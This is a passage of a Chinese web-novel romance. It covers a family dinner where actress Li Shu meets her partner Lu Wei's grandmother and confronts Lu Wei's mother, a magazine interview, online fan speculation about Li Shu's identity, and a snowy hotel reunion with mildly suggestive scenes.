黎数曾患,轻声说:“当时拍那部戏的时候,我有一条腿是全天候被折叠起来捆着的,患肢痛的状态,不管是麻、还是痛,都不让我惯拐杖,包括用固定的假肢,在外面摔到以后,全剧组的成员都在看我,但没有人上来帮忙,那时候真的很狼狈,我一个正常人都尚且这样,何况 那个导演这么不是人。” 黎数小声说:“费导。” 费鹤鸣不在场,黎数也早就已经杀青,陆嵬一视同仁的骂:“那是她不会调教,她要是会,根本用不着虐待你。” “我那时候还是个新人,根本无法区分那么多痛苦到底要怎么表现。”黎数哭笑不得:“你也讲点道理。” 陆嵬轻哼一声,“我不讲道理。” 张姐从后视镜看她们笑,觉得很奇妙,但也没多话,车子一路驶向紫檀,张姐停了车,发现门前多出来了一辆低调的黑车,把她原来的车位给占了。 那辆车的车牌张姐认识,下意识的‘呀’了一声,回过头看着陆嵬说道:“陆总,好像是老太太来了。” 陆嵬一愣,下意识望向了黎数。 黎数眨眨眼,“是你外祖母?” 陆嵬迟疑的点了个头。 黎数看了眼窗外,张姐利落的停车,去取两人的行李,又把坐在儿童座椅上的521和元宝放下来。 521喜笑颜开的说:“我喜欢这个宝宝椅,家里我也要,小黎小黎小黎,我想要这个。” 骑车的惯性导致521总是在急刹的时候装在前面的靠背上,虽然它承受的冲击力极强,但每一次抬头的时候都会用一张哭的泪汪汪的眼看着人,黎数每次都让它哭的没辙,就用仅剩不多的钱让张姐给521装了个儿童座椅。 521果然很喜欢。 “你又不上桌吃饭,要什么宝宝椅。”陆嵬冷笑一生,牵着黎数的手进门。 她毫无隐瞒的意思,但走动间明显放慢了速度,轻声说:“我姥姥很好相处,你不要紧张。” “……我倒是不紧张。”黎数就是觉得有些怪,“我只是在想,该用什么样的性格去面对你外祖母。” 陆嵬这时候还没明白黎数是什么意思。 飞机抵达的时间是固定的,没有延误的情况下,抵达紫檀的时间不会相差太远。 一楼的餐厅里,桌子上摆了满满一大桌的菜,这一顿饭,除了主座上的老人外,黎数还看到了俞宝珠,以及那位之前在申海市见过几次的白医生,还有另外一个和陆嵬有五分像的女人。 周姨也一改往日的随和,正经会客场合下没有落座,一直张罗着忙活,时不时和主座的老人说两句话。 这阵仗…… 陆嵬弯腰给黎数拿拖鞋,照例穿自己的拖鞋之前先闻了闻。 黎数眼皮一跳。 餐厅能直接看到玄关,但听不到很小的动静,黎数轻声说:“以后别闻拖鞋了。” 陆嵬喜欢穿手工编制的亚麻拖鞋,好处是舒服透气,坏处是元宝尿在鞋里看不见。 陆嵬很委屈:“都怪那只肥猫。” 元宝也能被喊肥猫了。 黎数又是一笑,“它已经很久没往你拖鞋里撒尿了。” 但陆嵬自己有点应激,已经成习惯了。 两人说着往里走,陆嵬换完鞋后就照例牵着黎数的手,黎数想了想,没拂她的意。 俞宝珠和白医生是知道她们两个的关系的,没必要瞒着。 陆嵬的外祖母俞珍珠那么疼爱陆嵬,也没必要藏着掖着,早晚要知道。 黎数目光看了眼坐在俞珍珠右手边的女人,顿了顿,知道那八成是陆嵬的母亲。 鞋子踩在地毯上,声音被收了个干干净净。离家一个多月,黎数买的浅色地毯还是干净的,为了配这个便宜地毯,陆嵬还斥巨资买了个洗地毯的机子,就放在角落的清洗房里。 唯一不爱护这个地毯的只有元宝,本土猫子对便宜地毯非常偏爱,一进门就‘喵喵嗷嗷’的冲向了那个和它颜色格格不入的毯子上面扭成了一条麻花。 俞宝珠右手边的女人一愣:“你买了个新猫?” 陆嵬没理她,带着黎数过去,先带她认了认人。 黎数跟着陆嵬挨个叫了一圈,又说:“先去洗个手。” 黎数心下知道,有的话陆嵬当着她不好说,可能是和谈,可能是威胁,可能是警告,也都无所谓,总之都是为了她。 陆嵬没走,周姨拿了块热毛巾过来给她擦手,她捏着笑了笑,感激周姨的贴心,“谢谢周姨。” 周姨嗔怪的瞧了她一眼,收毛巾的时候说了声:“不慌张,长辈都在呢。” 陆嵬神在在的‘嗯’了声。 俞珍珠本来感动很久,看陆嵬,看元宝,看机器人。 但对着陆嵬和元宝各自圆润了一大圈的脸,俞珍珠实在是说不出‘瘦了’这两个字。 灾区一去一个月,条件这么艰苦,比在家里好好养两年还有成效? 俞珍珠顿了顿,问坐在她手边的老姐姐:“她们真是去灾区?” 俞宝珠凉飕飕看陆嵬一眼,“苦活累活都扔给人家小姑娘干完了,她在那被伺候的像个公主,衣来伸手饭来张口的,她不胖谁胖?” 秦子帆抬头看了眼陆嵬,又看了眼不远处的元宝,没吱声。 陆嵬问她们:“您不在家里好好养着,突然跑出来干什么?这么热的天。” “我一早来的,没晒着。”俞珍珠笑笑,我和你姨姥姥也很久没见了,你们一起从灾区回来,我想得很,又担心你们奔波,就趁着午饭一起叫来了。” 自家人吃饭没那么多规矩,俞宝珠叮嘱白清竹不要拘谨,一边抬头说:“还有脸说,你几个月没去看过你姥姥了?” 陆嵬掐指一算,心想还真是。 三四月的时候还回去看过一次,那时候她姥姥的身体早就已经大好了,正在院子里跟狗玩。 从发现黎数不对劲开始,她自己一门心思就扑在了这上面,跟丢黎数一秒都害怕错过什么蛛丝马迹,完全没想起来。 陆嵬低头认错:“都怪我,忙忘了。” “忙?”秦子帆这时候才出言讥讽一声:“确实是忙得很。” 陆嵬抬头,冷冷的看了她一眼,“当着黎数的面,你最好放客气一点。” 秦子帆仿佛听到笑话:“注意你的态度。” “我什么态度?”陆嵬说:“要不你来教教我,对待自己的目前该是什么态度?” 陆嵬笑了:“正好,从小到大没人教过我,我也很好奇。” 秦子帆脸一白,下意识的看了眼俞珍珠。 俞珍珠瞪了陆嵬一眼,“小嵬,怎么跟你妈说话的!” 陆嵬没再言语,只警告的看了眼秦子帆,余光看到黎数回来就收了声。 两个老人不着痕迹对视一眼,俞珍珠抚了抚身上的丝巾,背挺直了些,凑近俞宝珠问。 “我会不会太严肃?” “不会。” “都怪你,不早告诉我,搞得我这么狼狈。” “我哪知道你外孙女都这德行了,还能追到人啊。” 俞珍珠有些埋怨似的看了姐姐一眼,目光慈祥的望着黎数回来,明明已经提前知道,但还是惊讶于她年轻的岁数,和望向陆嵬时眼里的温柔。 这个目光和眼神,不像是个一十不到的孩子,倒像是比陆嵬还成熟许多、内核也十分强而稳定的人。 俞珍珠一时间有些恍惚,又说:“坐下吃饭吧,都是些家常菜,我们来的冒昧,小黎,你也不要紧张。” 黎数笑了笑,“没事的姥姥,我能理解。本来应该是……”称呼上黎数差点卡了壳,下意识想喊‘小嵬’,意识到她这个岁数喊不合适,其他的昵称更不合适,半晌憋出来了个大名,“我们去拜访您的。” 陆嵬听着想笑,在桌子下面捏捏黎数的手,*凑到她耳边轻笑着说:“你也可以喊我姐姐。” 黎数不动声色的掐了她一下,陆嵬神色不变,嘴里委委屈屈的说:“好疼啊姐姐。” 俞珍珠不知道她们桌子底下的风云变化,但听见了陆嵬这一声姐姐,当下表情就是一阵的古怪,下意识看了眼俞宝珠。 俞宝珠看天花板,嘴里喃喃着说:“幸亏不是我外孙女,糟心,真糟心,一大把年级了管人家十八岁小姑娘叫姐姐。” 越说越觉得离谱,医闹都没见过这么离谱的,俞宝珠‘啧’了一声,刚想说话,碗里横空出现一筷子菜,扭头一看,是她的爱徒白清竹。 白清竹给她又夹点莴笋,“老师,这个好吃。” 俞宝珠又心想反正不是自己外孙女,操那么多闲心干什么去。 老一辈的人恋爱和年轻一辈完全不同,包容、含蓄,俞珍珠没料到陆嵬谈起来恋爱是这样的,更没料到黎数居然真这么能包容。 这只是初见,可一个人是否有功利心,是否是动真感情,明眼人都能看得出来,再会装,蛛丝马迹骗不了人。 俞珍珠顿了顿,没再纠结陆嵬刚刚那一声石破天惊的‘姐姐’,笑着说:“陆嵬跟我提过,说等我身体好点,会带女朋友来看我。” 黎数有些诧异,“什么时候的事?” 俞珍珠大多时候在休养,记不太清楚日子,模模糊糊给了个大概时间:“几个月前吧。” 几个月前,自己的身份还没曝光的时候,陆嵬就计划着要把她带回家了。 黎数无声笑笑,无声的和陆嵬说:“滑头。” 陆嵬弯了弯唇角。 “她姨姥姥跟我说,你们两个相处的时候都是你让着她多一点。”俞珍珠率先启了话头:“小嵬的性格不太好,我一直担心她没办法成为一个合格的伴侣,今天看到你,我也能放下些心了。” 黎数笑了笑:“合格的定义永远因人而异,对我来说,陆嵬很好。她工作优秀,年少有为,临危不乱,才华横溢,名下的慈善基金这些年来一直致力于援助灾区、资助失去父母的孤儿,这样的人如果都不能成为一个合格的伴侣,那可能,普天之下就没有人能达到合格线了。” 陆嵬越听目光越亮,也不顾当着这么多人,追问黎数说:“还有一条你没说。” 黎数笑着说:“什么?” 陆嵬自己夸自己,脸上看不太出粉,但耳朵已经红透:“专一又深情。” 黎数想起这些年来陆嵬一个人经历的这许多,垂眼看她胸口系到最上方的扣子,遮住了那点眼里的眼泪,笑着说:“是,还有专一又深情。” 俞珍珠这次注视了她良久。 半晌忽然说:“来之前,我姐姐跟我说了许许多多你的好话,但我一直忐忑,我没教好自己的女儿,以至于我的外孙女从小活的艰难。但我一个人实在是独木难支,顾得了工作就顾不了她,成年后,情感上她一直回避乃至漠视,我知道她是个好孩子,可心门难开……” 迟疑了下,俞珍珠还是提及了‘前人’,“自她走后,我以为小嵬这辈子能活着就已经是万幸了,实在是没想到,还能有重新振作起来的这一天。” 振作起来指的并不是陆嵬有了吃饭、工作的能力,而是陆嵬真正的活过来。 俞珍珠最后道:“今天见到你,我也是真正的可以放心了。” 费鹤鸣、俞宝珠、裘夏、沈凝雪、陆嵬……太多太多人口中的黎数都是那么的优秀。 即便是这些全都不提,仅仅是能让陆嵬和那只濒死的猫重新振作,从而活过来,就已经比什么都重要了。 521在客厅横冲直撞,它又看上了新的东西——它的兴趣从漂亮衣服和假发转移到了宝宝用品,现在的目标是一款儿童手表。 521举着平板滑到黎数身边:“我想要这个,但是陆嵬说你要先攒钱给她买大金表,没有多余的钱给我买。我能自己刷陆嵬的卡去买吗?” 黎数和在场除了陆嵬以外的所有人齐唰唰呆住。 521:“好不好嘛好不好嘛好不好嘛。” 俞珍珠一肚子感动和感慨被一个‘大金表’冲散,两年了,没想到两年里陆嵬从一个极端直接飞速到了另一个极端。 她颤巍巍的问俞宝珠:“她是不是更严重了?” 俞宝珠面无表情:“没有,对着黎数的时候,陆嵬就是纯欠,这一个月我都是这么过来的。” 陆嵬勾着唇角笑,听着俞珍珠气急败坏的骂她,里里外外说黎数才多大,赚点钱不容易,现在金价这么高,金表这种奢侈品只会更贵,她怎么开的了口又下得去手。 听完所以,陆嵬美滋滋:“因为她爱我。” 她没用喜欢,用的是爱。 黎数望了她一眼,心想不然大金表和钻石表一起买了,之前陆嵬说她去过道观,道长说她左右带金招财,右手带黑钻可以请文气。 陆嵬皮肤白,黑钻也好看。 想到了什么,黎数微微眯了眯眼睛,在陆嵬光滑的脖颈和耳垂一带流连。 最终又把目光望向了陆嵬光秃秃的手指。 ‘咔哒’一声轻响,黎数回过头,看到一直默不作声的秦子帆将汤碗放下,一张和陆嵬五分像的脸上满是寒霜。 “爱?你知道什么是爱吗?”秦子帆不无讥讽:“靠你们过家家一样的住在一起,穿小孩子似的情侣拖鞋,还是用情侣牙刷?还是那些没摘下来过的合照,还是现在你身边这个人和已经死了的那个人一模一样的脸?” 陆嵬的脸瞬间沉了下去。 黎数轻轻地按着陆嵬的胳膊,没让她起身,很平静的对秦子帆说:“阿姨。没有人教陆嵬是爱,但她天生会爱人。两年前得知外婆罹患白血病的第一时间她就去做了配型,您告诉我这不是爱是什么?” 秦子帆一震,提及两年前配型的事情下意识回头看了眼俞珍珠。 俞珍珠不满的看了眼秦子帆。 黎数笑了笑说:“我年纪小,话说的冒昧,您听着当一乐,别放在心上。我听闻阿姨在感情上和事业上都并不太顺心,可陆嵬上有长辈,下有姐妹,身边还有朋友和我,不说赴汤蹈火,但也能算敢跟她一起破釜沉舟。亲情、友情、爱情,她一个都没有失去,每一个都把握的很好,都是真心换真心。但今天说这些的您呢?” “说出这些话的你,本来应该在陆嵬生命中承担那个最重要的位置,教会她这一切,但你没有,陆嵬是一个人跌跌撞撞的摸索长大,懵懵懂懂的自己长好的。” 黎数毫不留情的说:“先失责后利用她的人是你,现在你又凭什么来指责陆嵬?” 第76章 第七十六章【VIP】 甚至来不及指责黎数一个小辈,话说的这么僭越,秦子帆就被她一连串的声声质问给砸的头晕目眩。 俞珍珠放下手里的碗筷,目光在黎数和陆嵬、秦子帆之间转圜许久,最终忍住了没掺和,只是问:“什么利用?” “妈!”秦子帆倏地起身,打断俞珍珠的追问,僵着一张脸说:“我吃饱了,我送您回南府。” 俞珍珠也沉下脸:“我在问你话。” 秦子帆看了眼靠在黎数肩上的陆嵬,一张脸乌云密布,黎数说的话出格不敬,可一字字一句句都往她心肝肺腑上戳。 “陆嵬,你在这一行也待的够久了,知道有些时候有些事必须得妥协,独木难支的道理你不懂吗?”秦子帆深吸一口气,拿起自己的包,匆匆说:“您不愿意回去就在紫檀休息吧,晚点我让司机来接。” 秦子帆离开的身影有些狼狈,陆嵬自始至终没有回头看她,只是目光有些出神,盯着桌上的饭菜发愣。 她没了吃饭的兴致,看的再开,现实认识的再清楚,可不代表不会被继续伤害。 秦子帆到底是她亲生母亲,同在一个屋檐下,甚至时常见面。 只可惜,明明是血缘至亲,却落得个至亲至疏的境地。 桌上的气氛略显凝重,黎数给陆嵬夹了几筷子饭菜,陆嵬像是卸了力似的一动不动,闭着嘴,也不说吃不吃,直到饭菜都喂到嘴边了,她才张口含住。 黎数捻着她下巴,“吃两口。” 陆嵬从喉咙里发出了声哼哼,有一下没一下的慢慢咀嚼起来。 521趁着这时候又开始闹,“小黎小黎,我想要手表。” 陆嵬这才懒洋洋撇它一眼,“你要手表干什么,手表有的功能你自己不都有吗?” “那你都有手机了,你还让小黎给你买大金表大钻石干什么!”521愤怒叉腰:“我可是都听到了!你还找小黎要耳饰项链腰链脚链,念叨了一整晚!” 气氛又再一次被一只小机器人弄得微妙起来。 俞珍珠这次看陆嵬的目光是真的带上了许多无声的谴责。 陆嵬不动如山,和521说完话后又赖在黎数肩头不肯起来,黎数也不赶她,反手轻轻拍拍陆嵬的脸,“坐好,再吃点。” 陆嵬‘嗯’了声,又赖了一会,蓄力了很久,才终于像是充满电一样坐直。 少了个不速之客,这顿饭其乐融融了许多。 临近末尾,俞珍珠忽然一拍腿,笑着说:“瞧我,把正事给忘了。萍萍,你帮我把给小黎的见面礼取来吧。” 周姨全名是周萍,平时除了俞珍珠还喊她小名,大多数人都是喊周姨。 闻言她从小间出来,笑着拿出了一份十分精美的礼盒递给了黎数,陆嵬扫了眼,一挑眉毛,笑着说:“这个不错,这值钱。卖了以后能给我买大金表。” 俞珍珠骂她:“胡闹!” 黎数问:“我能打开吗?” 俞珍珠又笑:“当然可以。正好试试合不合适。” 黎数打开,发现映入眼帘的是一套全套的翡翠首饰,通体碧蓝,颜色均匀半透,质感温润,一眼看去,像是看到了碧蓝色的海洋。 黎数也是混过名利场多年的人,知道这一套恐怕比陆嵬上次从保险柜取出来的那套还贵重许多,这种水头的碧蓝翡翠,恐怕一样是有价无市。 黎数迟疑了下:“这太贵重了。” “不贵重。”陆嵬把盒子盖上,拿起旁边的厚厚一叠红包,垫了两下,大概估测出了个数值,“您怎么不直接送卡,都什么时候了,还流行送现金那一套呢?” 俞珍珠瞪她一眼,笑着和黎数说:“你安心收着就是,以后要和小嵬好好的。” 陆嵬直接替黎数收了。 当天,两个老人伴爱徒在紫檀休息了一下午,天色稍暗,温度降低时才离开。 落地还没来得及休息,又撑起精神应付了一下午家长,虽然老人慈眉善目,但黎数还是觉得困倦无比。 想起明天一早的杂志专访她就觉得头大如斗,草草洗完澡后就赶紧上了床。 陆嵬跟她先后脚上|床,一上去就拥住了黎数,手指灵巧的拨开黎数的衣摆,在她柔韧的小腹上轻点,时不时向下方往边缘探去。 黎数转过身,微微张开唇吻住陆嵬,没把她的手抽出去,只低声说:“宝贝,明天一早还有拍摄。” 陆嵬也知道,只是实在想的紧,在一却只让闻、让舔、让碰,却不能吃。 陆嵬,喃喃哑声说:“我知道,我什么都不做。” 话虽然说着,但陆嵬已了。 覆着薄腻,陆嵬呼吸灼热,和黎数说:“我想解开。” 黎数心尖轻颤,没拒绝,陆嵬就当她是同意了。 暗扣轻巧被拨开,没了禁锢,黎数也觉得一阵的舒适,不由得暗叹一声。 “以后在家别穿了。” 陆嵬把那件小衣服褪下,又去解下一件,黎数由着她,整个人都和陆嵬交缠在了一起,陆嵬不住的落下轻吻,像是抱着安抚物似的四处按揉。 她的力道不重,黎数半梦半醒间轻笑一声,闭着眼摸索到陆嵬的唇轻轻啄了下,“忙完这段时间,以后好好补偿你。” 听到陆嵬闷闷的一声‘嗯’,黎数才放任自己睡着了- 第二天的杂志封面,寰宇一共给黎数准备了五套衣服。 黎数现在手握两部作品,多多少少有了底气,即便还没播,但前有费鹤鸣后有中央力保,第一步向前迈进的根基是彻彻底底的踩实了。 今天裘夏也在,她结束了和沈凝雪的度假,回来后黑了一圈,但人群里也顶多算是个蜜色原皮,用不了多久还能白回来。 “一共五套造型,先拍大封,后面是内页和封底。”裘夏说道:“后面就是单采,杂志方的口碑不错,不用担心。” 黎数对这套流程也很熟悉,但这种规模的发行杂志是不会提前对台本的,需要的就是真实性才能增加卖点。 黎数演技相对纯熟,但单独拍非具有表演意义的硬照对她而言是个挑战,一上来拍的就是大封,黎数稍微有点压力。 但她的外貌无可挑剔,刚刚测身体数值的时候,黎数很精细的发现她这段时间居然不知不觉又长高了点,现在净身高正好一米六七,这样下去,回到从前一米七二的身高说不定也指日可待。 等待时黎数才有空看手机,搜了下自己的近期情况,距离寰宇操作舆论发酵为她铺路已经过了近半年的时间,讨论的热度已经几近饱和,已经逐渐开始拨开表皮的舆论热点,去向下深挖。 靠着舆论和黑红有了热度,但一时捕风捉影的黑点太容易被洗白,所谓的替身、所谓的包养、所谓的金主,在被时间洗涤后,黎数讶异的发现,网友的重点已经转移到了她真实的演技、和为人身上。 包括对陆嵬不再继续指导拍戏而生出的遗憾,经年日久,许多人才恍然发觉,原来曾经高分榜第一的电影导演,居然是陆嵬。 【真没人感觉很虐吗,天才陨落,爱人离世,天灾难料,死了以后还得自己奔赴千里之外徒手开掘,连尸骨都见不到,年纪轻轻落得个一夜白头的下场。】 【小黎又做错了什么啊,谁还没看过《地心》节目组放出的片段啊,每次冲在第一线的不都是她吗?讲讲道理,她才刚刚十八岁,指甲盖都翻了一声都没吭,下淤泥通水路,哪脏哪有她。】 【一个和已经逝去的爱人这么相似的年轻人,又上进,又努力,别说是人了,我路边看到和我家去世的狗长得一模一样的流浪狗我都得哭着把它带回去养。】 【有一说一,费鹤鸣沈凝雪陆嵬连带着顾宗年都对小黎赞不绝口,放出来的那两张剧照我愣是没看出来是一个人,少女时代的清纯和沦落红尘的风韵居然在她身上全都适配。】 【别说陆嵬了,曾经的黎数粉看到小黎都有种想流泪的冲动。】 【圈里顶着小沈凝雪,小黎数,小香铃,小乔大乔的人多了去了,这些人才是真用前人的噱头营销,小黎本名就是黎数,十八年前大黎还没进娱乐圈呢,长得一样是她的错吗?同名同姓是她的错吗?有时候缘分就是这么妙不可言好吗?】 【同意楼上,我今早出门踩猫屎,扶墙的时候墙皮脱落,我又一屁股坐进去了,刚起来还没走两步又在水潭里摔了一跤,鞋子飞了眼镜碎了,同一时间,我女神在我面前经过扔垃圾,垃圾抛物线正对我头顶。我找谁说理去。】 【楼上,我看过你那段监控,你真的好惨,你和你女神的缘分简直妙不可言,这么惨的经历好笑度1000%,最后又遇到你女神的好笑度100000%,你是个女的这段好笑度更是1000000%。】 【谢邀,虽然过程很惨,但结果是好的。女神把我带回家了(* ̄︶ ̄),还给我穿她香香软软漂漂亮亮的仙女飘飘裙。】 【?】 【?】 【?】 黎数乐不可支,给这位名叫‘秦获其鹿’的网友点了个赞。 黎数手指向下滑动,页面飞速加载,忽然间,她看到了一条评论。 【但是真的好奇怪,小黎这段时间一直暴露在镜头前,没时间去整容,可我做了对比,她和黎数长得越来越相似了,之前《地心》拍摄的时候,六陇那边的居民拍摄到过她们相处的画面,和从前大黎跟陆嵬的相处模式简直一模一样!】 黎数一愣,下意识点进了楼中楼。 【我是来找你的,不光这样,黎数很早的时候说过她有一个姐姐是消防员,小时候对她极好,你们猜怎么着,有网友拍到小黎和一个消防员去吃饭,后来查证过,那个消防员是六陇市龙岭区指挥长黎清,黎数的亲姐姐!!】 【卧槽!什么意思?黎数没死?小黎是黎数?】 【不对啊,小黎今年才十八啊,有自己的父母家人,之前和一统解约的时候不是还闹得沸沸扬扬的吗?】 【难不成当年去的是小黎?黎数自己没去?她和小黎其实是失散多年的姐妹,阴差阳错小黎代替黎数死了?】 【不对啊,姑娘山的尸坑不是说都被挖出来了吗?尸体是谁的检测一下不就知道了?】 【你没毛病吧,谁会把检测结果告诉你啊。】 【你们别吓我,怎么突然变悬疑片了?】 黎数放下手机,截了个超级长图转发给了陆嵬。 陆嵬在开会,给黎数设置的单独震动频率一响,她就看到了。 【黎数:网友要一辈子被蒙在鼓里了。】 【陆嵬:那我也差点被蒙在鼓里一辈子。】 【黎数:[玫瑰][玫瑰][玫瑰]】 陆嵬想起那一大捧被做成永生花的白玫瑰笑了笑,将手机重新收了起来- 然而这件事情不可能澄清,也澄清不了,现在最好的应对措施就是等待事情平息,时间慢慢过去,让所有人的重点放在她的演技,和陆嵬的作品上。 半小时后,采访导演团队进来,坐在黎数对面的采访椅上开始进行采访。 导演:“小黎,对于年底要上映的《国家秘宝》有信心吗?” 制作内容摆在那,黎数心知电影的口碑和票房都不会差,闻言笑了笑:“有信心,《秘宝》这部剧耗费了大家很多心血,所有人都非常努力,制作也花了大成本,一比一还原了当时的年代,我相信它能取得好成绩。” 导演又问:“起点这么高,以费鹤鸣导演的女二号出道,以后会担心番位或是合作对象吗?” 黎数神色不动:“不会,我只在意角色和剧本能不能打动我,费导也是一步步走到今天的,我的成绩也不是一蹴而就的。” 导演:“下一部戏是打算继续在电影圈发展,还是会考虑向电视剧题材发展呢?” 黎数:“这要看我的经纪人安排了,最近也有本子递来,很感激所有导演对我的厚爱,不过综合考虑,还是选择我更感兴趣、想挑战的角色吧。” 导演:“据说上次顾导六十大寿时曾经邀请了费导、陆总、裘总、沈总和你,但是遗憾的是你们都缺席了,顾导曾经公开表示有些遗憾,对这件事情,你有什么看法吗?” 顾宗年? 差点忘了,上个月拍摄《地球人心》的时候,他正好过六十整寿。 黎数很遗憾的表示:“天灾当头,实难抽身,感谢顾导厚爱,如果有机会的话,下一个整寿我一定送上大礼。” 导演:“顾导曾经在宴上夸奖你很有天赋,对你很敢兴趣,探班时看到你演戏时,就再也看不下别的对手戏演员。” 黎数笑的敷衍,意识到口碑二字是针对于观众的,而不是针对于被采访者。 但作为杂志方,她们的问题也没有一个字出挑,没有一个字过格。 黎数便说:“感谢顾导厚爱,我以后一定会更加努力。” 导演见黎数实在是太滴水不漏,几句话里都是坑,但黎数一个没踩,便笑了笑,最后问:“最后这个问题,是上次偶然见到顾导,他知道我要采访你特意交代我多问一句的。” 黎数挑眉。 导演笑着说:“顾导想重启《真凶》,觉得你非常适合出演岑巡,对此,你怎么看呢?” 黎数沉吟许久,抬起头,冲着导演说:“多谢抬爱。” 导演等了一会,才确定黎数没有后半句,惊诧的问:“没了?” “没了。”黎数笑了,看了眼他胸前的名牌:“林导,你到底是《时代》杂志的采访导演,还是顾导的私人探员?” 导演脸色青一阵白一阵,讪讪笑了两声,话筒举着没放。 黎数不用想都知道恐怕是收了好处刻意打探口风的。 和顾宗年总这么不阴不阳的来来回回推拉,别说是陆嵬,她都有些烦了。 黎数起身,说:“一个好的作品,只有创造了它的人才能深入了解其内核,而这样的作品,在离开创造它的人时就失去了灵魂,一套空壳子,一帮自诩专业正统的假把式,我没兴趣。” 采访单方面结束,黎数去卸妆,路上和陆嵬讲了一下这件事情。 陆嵬反应平平,闻言也就是说:“他现在也就只能搞一些这种假把式了。” 说着,她轻轻一笑:“姐姐,现在的我有能力自己拉投资,可以自己拍电影,自己掌控监制全程。顾宗年的手伸的再远也挡不住我头顶的天,你是一个好演员,只要不陷在他手里,他也不能拿你怎么样。” 黎数轻轻应了一声,路边梧桐树开的正盛,整条向北的主路都充满凉荫,司机把黎数送回了紫檀后就回公司还车了- 背靠寰宇,黎数的工作陡然多了起来。 代言、采访、节目拍摄,通告接踵而来,黎数过上了从没想过的忙碌生活。 短短一个月内的机票就高达十几张,酒店订了都没多少时间住,更多的时间不是在车上就是在现场。 黎数和陆嵬刚确定关系没多久就又莫名其妙的分居两地,回想起从前,黎数心里忽然响起了些许警铃声,生怕因为长久分离让这段本就走的艰难的感情再多一丁点的风险。 陆嵬比从前更粘人,但似乎也察觉到了黎数的疲累,经常和黎数通着视频时黎数就能睡着,后来她就不再贸贸然的打,只在春风说黎数没什么事情可以通话的时候才打过来一通。 一切的忙碌尚且都在黎数能掌控的区域内,她知道自己的身体底线在哪里,不会贸贸然的乱来,比起自己,她更担心陆嵬的病情。 时间已经快到年底,天气转冷,黎数赶通告四处跑的时间终于可以暂时告一段落,她今天腾出了空,第二天的飞机回申海,今晚可以先和陆嵬打个长时间的通讯,明天一早能给她一个惊喜。 视频通话的响铃在室内有些嘈杂,陆嵬那边很快同意,但屏幕一片漆黑,黎数纳闷:“你在哪呢?怎么这么黑?” “摄像头好像坏了。”陆嵬说话的声音有些微喘,四下看了看,说:“唔,在爬楼梯。” 爬楼梯? 陆嵬的日常基本是家里、公司两点一线,这两个地方就连家里都有电梯,什么时候用得上她爬楼梯了? 快两个月的时间都只能和陆嵬通过视频见面,黎数很想她,有些遗憾的说:“那你能看到我吗?” “也看不到。”陆嵬说,“我想你,也很想见你。” 黎数心软软,让陆嵬一句话说的没招,开始犹豫究竟是惊喜重要还是和陆嵬见面重要:“那怎么办?姐姐工作还没结束。” “没关系。”陆嵬说话的同时,屏幕亮了起来,黎数看到了陆嵬垂着头的脸。 她的头发像是重新染过,身上穿的、脖子上围的、脸上戴的都是自己给她挑选的衣服。 手机里又安静了一会,陆嵬往前走了几步,又停下,左右张望了会,发现自己走过了,又往回退。 陆嵬头上还有些未化的雪花,背景是昏黄的灯光,笑着说:“开门。” 话音刚落,黎数怔愣着抬起头,耳边听到了房门被‘笃笃’敲响的声音,她捏着手机,和视频中的陆嵬对视,终于反应过来似的,起身冲向了门口。 陆嵬正站在门外解着毛巾,酒店暖气开的足,在外面裹得很严,进来后没多久就热了。 黎数有些恍惚的看着她:“你怎么忽然来了?” “想见你。”陆嵬还是那句话,说话时带了点鼻音,推着黎数挤进来,低声抱怨:“你好没良心,一走就是两个月,见不到面还总用礼物勾引我想你。” 黎数也想她,很想很想。 她一个人外出,没带猫也没带521,才发现两个月的时间明明很忙碌,可一旦闲暇下来,就忽然觉得只剩下自己一个人的时候很孤单寂寞。 手机里明明放着音乐,电视上也开着电视或电影当背景音,可没有一个文字能进到脑海里,人很空茫的向窗外望着,脑海里全都是家里的一切。 一会想陆嵬有没有吃饭,一会想陆嵬有没有和元宝打架,有没有欺负521,把陆嵬发来的日常照片翻来覆去的看,都总嫌不够多又看不够,睡眠都觉得变得多余起来。 “本来我提前收工,打算明天一早回去给你个惊喜的。”黎数指了指不远处桌面上的机票,“结果你自己跑来了。” 陆嵬轻笑一声,把黎数挤到床上,整个人舒舒服服的压在她身上,过了会,不满足,又翻了个身,让黎数压在她身上。 抱了个满怀的满足让陆嵬喟叹了一声,“你不在我都睡不好。” 黎数摸摸她眼下的青黑,心疼的亲了一口。 陆嵬睁开眼,双手搭在黎数的腰侧,一身的风霜冷意还未消退,雪融化后将她的长发打湿,柔而顺的散落在床上。 黎数心里一动,在陆嵬张开嘴的瞬间,不等她出声,低头把她吻住了。 陆嵬的手猛然用力,撩开黎数身上柔软的毛衣,衣料摩擦间生气些许细小的电流,陆嵬的手贴在黎数柔软的肌肤上,手里的触感温润而充盈,她舒服的直哼哼。 陆嵬被压在下面,察觉到这次的亲吻不同往日的绵软,夹杂了些许暗示,她张开口,吮住黎数的唇瓣,轻轻分开她的牙关,自己挤进去,缠绵纠缠着、热吻着。 一吻闭,两人气喘吁吁的分开,陆嵬眼睛发红,手指渴望的在黎数腰上捏来捏去,用了些力,但克制着没把她掐疼。 黎数轻轻笑笑,唇齿间一点湿红闪过,和陆嵬说:“延时满足会有特殊奖励,要不要?” 第77章 第七十七章【VIP】 陆嵬半阖着眼,窗外大雪未歇,明明已经晚上,但大雪反衬下,反而让一切变得透亮。 雪仍在下着,隔着窗户听不到外面扑簌簌的声响,但陆嵬一路走来,脚踩在地上,雪落在身上,却完全没有两年前空茫而恐慌的心境了。 “这是今年的第一场雪。”陆嵬轻声说:“申海没有,但你这里有。” “明早会更好看。”黎数又吻她,和陆嵬的身体交缠在一起,“我开了延时录影,本来想明早带回去和你一起看。” 陆嵬挣扎着侧了个头,阳台上果然看到了一个正在录制中的相机。 相机前面有一个悬挂在屋檐下的晴天娃娃,随雪、随风不断地晃动,脸上挂着灿烂无比的笑。 很快,陆嵬收回视线,没心思再去看窗外的大雪,目光被黎数如若凝脂般的肌肤笼罩,和雪色相同的白,她向上看,是黎数那双深琥珀色的眼。 陆嵬喃喃喊了声:“黎数。” 黎数点头,应声,在陆嵬颈侧印下一吻:“姐姐在呢。” 她听出了陆嵬一句呢喃里的患得患失,重新抬起头,和陆嵬那双轻浅瞳色不同的眼眸对撞,像是只魅惑人心的妖。 黎数的手拨开陆嵬微微湿润的头发,轻轻在陆嵬脸上印着一个个轻吻:“看着时间过来的,是不是?” 上一通和陆嵬打的电话说是预报有大降雪,到这里的最快一班飞机,再坐车来到酒店,差不多就是陆嵬到这里的时间。 她来的匆忙又急切,连买个伞的时间和空闲都没有,只拎了两个巴掌大的蛋糕。 